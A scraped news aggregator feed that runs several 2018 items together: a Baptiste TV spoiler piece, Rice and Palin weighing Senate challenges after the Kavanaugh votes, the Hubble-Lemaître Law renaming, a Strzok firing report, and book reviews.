Edward appears to have ordered the killing of Richard, who appears to be a relative. But why would he want to bump off his own relative and then keep the head as a memento?

The killing also could be connected to the death of Edward’s daughter Lucy, who died of a drug overdose at the age of 19.

But to add another layer of confusion IMDb lists the character by the name of Peter – could this have been to throw off eager Baptiste fans?

With only a third of the way through the six-part drama, it’s too early to say at this stage why Richard/Peter was bumped off with the story set to unfold further next week.

WHERE IS BAPTISTE FILMED?

The one thing that seems to be becoming more apparent is that this is something deeply personal for Edward but it’s not clear how.

Edward’s daughter also seems to be an important part of this story after Julien discovered the truth about the businessman.

Clare (Clare Calbraith) – Edward’s ex-wife – revealed to a stunned Julien how they had split following Lucy’s death and his life had gone on a downward spiral.

Edward is in cahoots with the Romanian mafia but just how he’s connected remains to be seen.

Viewers will have to tune in next week when Edward is likely to shed further light on the case.

Baptiste airs on BBC One on Sundays at 9pm

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]]> https://briefnews.eu/baptiste-on-bbc-spoilers-whose-head-is-in-edward-strattons-basement/feed/ 0 Palin, Rice mull challenging Alaska & Maine senators whose Kavanaugh votes sparked outrage https://briefnews.eu/palin-rice-mull-challenging-alaska-maine-senators-whose-kavanaugh-votes-sparked-outrage/ https://briefnews.eu/palin-rice-mull-challenging-alaska-maine-senators-whose-kavanaugh-votes-sparked-outrage/#respond Sat, 06 Oct 2018 18:59:52 +0000 http://briefnews.eu/palin-rice-mull-challenging-alaska-maine-senators-whose-kavanaugh-votes-sparked-outrage/

America may see an interesting female showdown as a spin-off of the Brett Kavanaugh saga. Susan Rice and Sarah Palin hinted they may run against Sens. Susan Collins and Lisa Murkowski, who voted in a way they deem unacceptable.

The soap opera begins with Susan Collins (R-ME), who was initially sitting on the fence when it came to whether she would vote in favor of the Supreme Court nomination of Kavanaugh. This invited some of Kavanaugh’s fiercest critics to put pressure on her to vote against his confirmation – pressure which Sen. Marco Rubio (R-FL) called “vicious, vile, and dangerous actions.”

Collins finally put an end to the speculation on Friday, announcing in a 44-minute speech that she would be backing Kavanaugh.

But Susan Collins’ decision angered another Susan by the name of Susan Rice (who served as national security adviser under Barack Obama).

READ MORE: Senators Flake, Manchin, Collins have their offices surrounded by protesters after Kavanaugh vote

Rice’s discontent was revealed following a tweet by Jen Psaki, who served as Obama’s communications director. “Who wants to run for Senate in Maine?” she tweeted. It took Rice 11 minutes to respond with “me.” 

She later clarified that she was not making any announcements, but stressed that she is “deeply disappointed in Senator Collins’ vote for Kavanaugh.” 

However, Rice isn’t without her own controversies. For starters, she was serving as national security adviser when the Benghazi attack happened in 2012, which resulted in the killing of four Americans. Republican lawmakers have accused her of underplaying the attack as a random act of violence in response to an anti-Muslim film. However, Obama admitted it was premeditated. She has also been accused of revealing the names of associates of Donald Trump that appeared in intelligence reports last year.

And as with just about anything these days, the internet weighed in on the possibility of Rice running against Collins, with many immediately pledging their support. 

Others, however, were quick to bring up her past controversies.

It goes both ways 

But just as Rice is unhappy with Collins for promising to vote in favor of Kavanaugh, former vice-presidential candidate Sarah Palin is mad at Sen. Lisa Murkowski – a Republican from Palin’s home state of Alaska – for crossing party lines and announcing that she will be voting ‘no’ when it comes to Kavanaugh’s confirmation.

Palin tweeted directly at Murkowski, saying: “Hey @LisaMurkowski – I can see 2022 from my house…”

READ MORE: Most ridiculous apologies forced from those who didn’t toe media line on Kavanaugh (VIDEO)

That tweet wasn’t without a dose of humor, as it stems from Tina Fey’s remarkable impression of Palin on Saturday Night Live in which Fey delivered the line “I can see Russia from my house” when talking about foreign policy on the show. While Palin never actually muttered those words, she’s often credited with doing so. 

Palin’s tweet came one day after she had urged Murkowski to “do the right thing” when it comes to Kavanaugh.

The former Alaska governor, who ran as vice president on the McCain ticket in 2008, was often mocked for her statements during her run, and long after. Some of her most famous gems include stating that America needs to stand with its North Korean allies and declaring that gun-free zones amount to “stupid on steroids.” 

She also said that the world looks at Russian President Vladimir Putin as someone who “wrestles bears,” while Obama was looked at as someone who “wears mom jeans.”

And, of course, the Twittersphere had a few things to say about Palin’s tweet, with responses ranging from eager support to laughs and criticism.

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]]> https://briefnews.eu/palin-rice-mull-challenging-alaska-maine-senators-whose-kavanaugh-votes-sparked-outrage/feed/ 0 Whose name should be on the laws of physics for an expanding universe? https://briefnews.eu/whose-name-should-be-on-the-laws-of-physics-for-an-expanding-universe/ https://briefnews.eu/whose-name-should-be-on-the-laws-of-physics-for-an-expanding-universe/#respond Tue, 04 Sep 2018 05:07:02 +0000 http://briefnews.eu/whose-name-should-be-on-the-laws-of-physics-for-an-expanding-universe/
A monument in Belgium to Georges Lemaitre

Enlarge / A monument in Belgium to Georges Lemaitre that shows his idea of an expanding universe. (credit: Wikimedia/EmDee, CC BY-SA)

Astronomers are engaged in a lively debate over plans to rename one of the laws of physics.

It emerged overnight at the 30th Meeting of the International Astronomical Union (IAU), in Vienna, where members of the general assembly considered a resolution on amending the name of the Hubble Law to the Hubble-Lemaître Law.

The resolution aims to credit the work of the Belgian astronomer Georges Lemaître and his contribution—along with the American astronomer Edwin Hubble—to our understanding of the expansion of the universe.

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]]> https://briefnews.eu/whose-name-should-be-on-the-laws-of-physics-for-an-expanding-universe/feed/ 0 Honoured, widower whose poem inspired Esther to start helpline https://briefnews.eu/honoured-widower-whose-poem-inspired-esther-to-start-helpline/ https://briefnews.eu/honoured-widower-whose-poem-inspired-esther-to-start-helpline/#respond Sat, 01 Sep 2018 17:46:56 +0000 http://briefnews.eu/honoured-widower-whose-poem-inspired-esther-to-start-helpline/

A WIDOWER whose tear-jerking poem about loneliness inspired Dame Esther Rantzen to help millions in the same boat has been crowned citizen of the year. War hero Bob Lowe was given the honour in recognition of his charity work, which includes volunteering for The Silver Line, a round-the-clock helpline for isolated older people.

]]> https://briefnews.eu/honoured-widower-whose-poem-inspired-esther-to-start-helpline/feed/ 0 FBI fires Peter Strzok whose texts revealed anti-Trump bias amid Bureau's major probes https://briefnews.eu/fbi-fires-peter-strzok-whose-texts-revealed-anti-trump-bias-amid-bureaus-major-probes/ https://briefnews.eu/fbi-fires-peter-strzok-whose-texts-revealed-anti-trump-bias-amid-bureaus-major-probes/#respond Mon, 13 Aug 2018 16:20:35 +0000 http://briefnews.eu/fbi-fires-peter-strzok-whose-texts-revealed-anti-trump-bias-amid-bureaus-major-probes/ FBI agent Peter Strzok, who became a central figure in controversy surrounding investigations into alleged Russian meddling and Hillary Clinton’s private email server, has been fired, his attorney has said.

The 21-year FBI veteran was fired Friday afternoon, according to Strzok’s attorney Aitan Goelman.

Read more


Peter Strzok testifies before the House Committees on Judiciary and Oversight and Government Reform. © Leah Millis/ Reuters

Strzok, the former deputy assistant director for counterintelligence of the FBI, and his lover FBI attorney Liza paged exchanged texts that showed their negative attitude to Donald Trump among other things  while he was on the teams investigating Hillary Clinton and Trump. He even served on Special Counsel Robert Mueller’s team, until he was reassigned following the discovery of text messages between him and Page, a FBI attorney who has since resigned.

“This decision should be deeply troubling to all Americans,” Goelman said in a statement released on Monday, adding that the bureau’s deputy director had “overruled” the FBI’s Office of Professional Responsibility concerning Strzok’s case.

Strzok’s firing comes just days after President Donald Trump took to Twitter to denounce  him and other FBI officials as “clowns and losers” who have tarnished the reputation of the bureau.

DETAILS TO FOLLOW

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]]> https://briefnews.eu/fbi-fires-peter-strzok-whose-texts-revealed-anti-trump-bias-amid-bureaus-major-probes/feed/ 0 Voicing choice, novels whose heroes refuse to be stereotyped https://briefnews.eu/voicing-choice-novels-whose-heroes-refuse-to-be-stereotyped/ https://briefnews.eu/voicing-choice-novels-whose-heroes-refuse-to-be-stereotyped/#respond Sun, 17 Jun 2018 00:32:52 +0000 http://briefnews.eu/voicing-choice-novels-whose-heroes-refuse-to-be-stereotyped/

*****

Old Baggage by Lissa Evans (Doubleday, £14.99) 

It is 1928 and former suffragette Mattie lives in Hampstead with her friend, Florrie Lee, known as The Flea.

Mattie is 58, unmarried, writes a column for the Hampstead & Highgate Express and gives lectures on her days of political campaigning to halls of disengaged audiences.

She interferes unashamedly in other people’s business and is forthright, fearless and unconventional – when her handbag is stolen she hurls a miniature bottle of whiskey at the thief.

Then Mattie bumps into an old friend and former suffragette who is now, with her husband, running a fascist-leaning organisation for young people.

It makes Mattie realise she misses her campaigning days, so she sets up a feminist group for teenage girls who meet on the Heath for exercise, debate and political education.

We meet a rich and varied cast of characters across the social divide as Mattie endeavours to educate and empower her attendees. Mattie is a vibrant, formidable creation, beautifully drawn and fully realised by Lissa Evans. Headstrong and yet subtly vulnerable, she is a woman who, like so many of her generation, is clever and sharp yet lacks an outlet for her talents. The novel is joyously funny and the author has a fine eye for the comedic in everyday life.

But there is also much poignancy and social commentary.

Old Baggage is a gloriously entertaining and deeply moving novel about what courageous women do when society does not afford them a role and how one’s purpose in life can be found in the most unexpected places.

Hannah Beckerman 

**** 

Love & Ruin by Paula McLain (Fleet, £14.99)

Paula McLain has a rare gift for bringing history alive.

The Paris Wife transported us to the champagne sparkle of the French capital at the height of its irresistible jazz-age glamour as she charted the whirlwind romance of Ernest Hemingway and Hadley Richardson.

Paula McLain confidently blends meticulously researched fact with fiction once more in Love & Ruin, taking up the story of Hemingway as he encounters the fiercely independent Martha Gellhorn.

This novel’s sweep is much broader as their stormy, tragic relationship plays out around a warring world, stretching from the ruined streets of Madrid during the Spanish Civil War to the opium dens of Hong Kong and the blood-soaked Omaha Beach at the time of the Normandy landings.

Recounting true events seen through the eyes of real people, including Ingrid Bergman and Eleanor Roosevelt, the novel never loses sight of the tangled emotional lives of Hemingway and the ambitious Gellhorn.

Both were talented writers and flawed individuals with a swashbuckling hunger for experience and an appetite for danger that seemed to make them a perfect match.

Gellhorn was at the beginning of her lengthy career as a distinguished war reporter and novelist when she met the author, a married man and father of three.

The novel captures the electric intensity of their attraction and her struggle to avoid becoming lost in the long shadows of Hemingway’s fame and volatile personality.

It often feels like a losing battle. Fast paced and compelling, this is a novel that screams out to be filmed, the bantering insolent dialogue and the sparring partner protagonists reminiscent of Humphrey Bogart and Lauren Bacall in the film of To Have And Have Not.

A complex heartbreaker of a love story that makes for an enthralling read.

Allan Hunter 

****

House Of Gold by Natasha Solomons (Hutchinson, £12.99) 

Greta is unhappy.

She is a member of the Jewish Goldbaum clan, an international banking dynasty whose wealth, influence and power extends across Europe.

So her family has very definite ideas on whom she should wed – and they choose a fellow Goldbaum she has never met. Greta, rebellious, impulsive and strong-minded, is aghast at the prospect of marrying boring Albert whose “manners were as meticulous as his person”.

She tries “to imagine what it must be like to be an ordinary person and not a Goldbaum, and to be able to choose: a woman free to select her own husband; a man free to decide his own vocation”.

Greta’s brother Otto is similarly restricted, expected to become a banker when he longs to be an astronomer.

Natasha Solomons brilliantly sets the scene. The Goldbaums live a gilded life but a caged and claustrophobic one too.

It is a far cry from the world of Karl, a sewer rat who searches the tunnel beneath the Goldbaums’ Viennese mansion for lost or discarded coins, bones and assorted rubbish to sell. His life will become entwined with Otto’s as the world heads inexorably towards war.

The author follows Greta as she attempts to work out how to navigate her marriage.

It is a tricky task.

Greta is impassioned and emotional whereas Albert, a collector of butterflies and beetles, has very precise ideas about the role of women in relationships. Greta, on the advice of her mother-in-law, turns her attention to plants and begins to build “a garden of defiance” – wild, unruly and unregimented, a haven from emotional upheaval as war and loss make their mark on the family.

House Of Gold is a compelling read and full of lavish detail but undercut by the realities of war and what it means to be Jewish in an anti-Semitic world.

Eithne Farry 

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